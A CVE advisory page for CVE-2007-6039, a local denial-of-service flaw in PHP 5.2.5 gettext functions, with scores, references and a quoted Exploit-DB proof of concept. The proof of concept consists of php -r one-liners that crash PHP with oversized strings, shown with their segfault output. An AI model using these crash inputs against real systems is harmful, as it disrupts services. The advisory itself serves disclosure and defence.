CVE-2007-6039 : Detail

CVE-2007-6039

A03-Injection
0.11%V3
Local
2007-11-20
18h00 +00:00
2018-10-15
18h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

PHP 5.2.5 and earlier allows context-dependent attackers to cause a denial of service (application crash) via a long string in (1) the domain parameter to the dgettext function, the message parameter to the (2) dcgettext or (3) gettext function, the msgid1 parameter to the (4) dngettext or (5) ngettext function, or (6) the classname parameter to the stream_wrapper_register function. NOTE: this might not be a vulnerability in most web server environments that support multiple threads, unless this issue can be demonstrated for code execution.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics Score Severity CVSS Vector Source
V2 2.1 AV:L/AC:L/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 30760

Publication date : 2007-11-12 23h00 +00:00
Author : laurent gaffie
EDB Verified : Yes

source: https://www.securityfocus.com/bid/26428/info PHP is prone to multiple denial-of-service vulnerabilities because it fails to perform adequate boundary checks on user-supplied input. Attackers can exploit these issues to cause denial-of-service conditions. Given the nature of these issues, attackers may also be able to execute arbitrary code, but this has not been confirmed. PHP 5.2.5 is vulnerable; other versions may also be affected. Proof of concept example : root@unsafebox:/# uname -a Linux unsafebox 2.6.20-16-generic #2 SMP Sun Sep 23 19:50:39 UTC 2007 i686 GNU/Linux root@unsafebox:/# php -v PHP 5.2.5 (cli) (built: Nov 11 2007 07:56:04) Copyright (c) 1997-2007 The PHP Group Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies root@unsafebox:/# php -r 'dgettext(str_repeat("A",8476509),"hi");' Erreur de segmentation (core dumped) root@unsafebox:/# php -r 'dcgettext(LC_CTYPE,str_repeat("A",8476509),"hi");' Erreur de segmentation (core dumped) root@unsafebox:/# php -r 'dngettext("hi",str_repeat("A",8476509),"hi",-1);' Erreur de segmentation (core dumped) root@unsafebox:/# php -r 'gettext(str_repeat("A",8476509));' Erreur de segmentation (core dumped) root@unsafebox:/# php -r 'ngettext(str_repeat("A",8476509),"hi",-1);' Erreur de segmentation (core dumped) root@unsafebox:/# php -r 'dcgettext(LC_CTYPE,str_repeat("A",8476509),"hi");' Erreur de segmentation (core dumped)

Products Mentioned

Configuraton 0

Php>>Php >> Version To (including) 5.2.4

References

http://www.securityfocus.com/bid/26428
Tags : vdb-entry, x_refsource_BID
http://securityreason.com/securityalert/3365
Tags : third-party-advisory, x_refsource_SREASON
http://www.securityfocus.com/bid/26426
Tags : vdb-entry, x_refsource_BID
http://securityreason.com/securityalert/3366
Tags : third-party-advisory, x_refsource_SREASON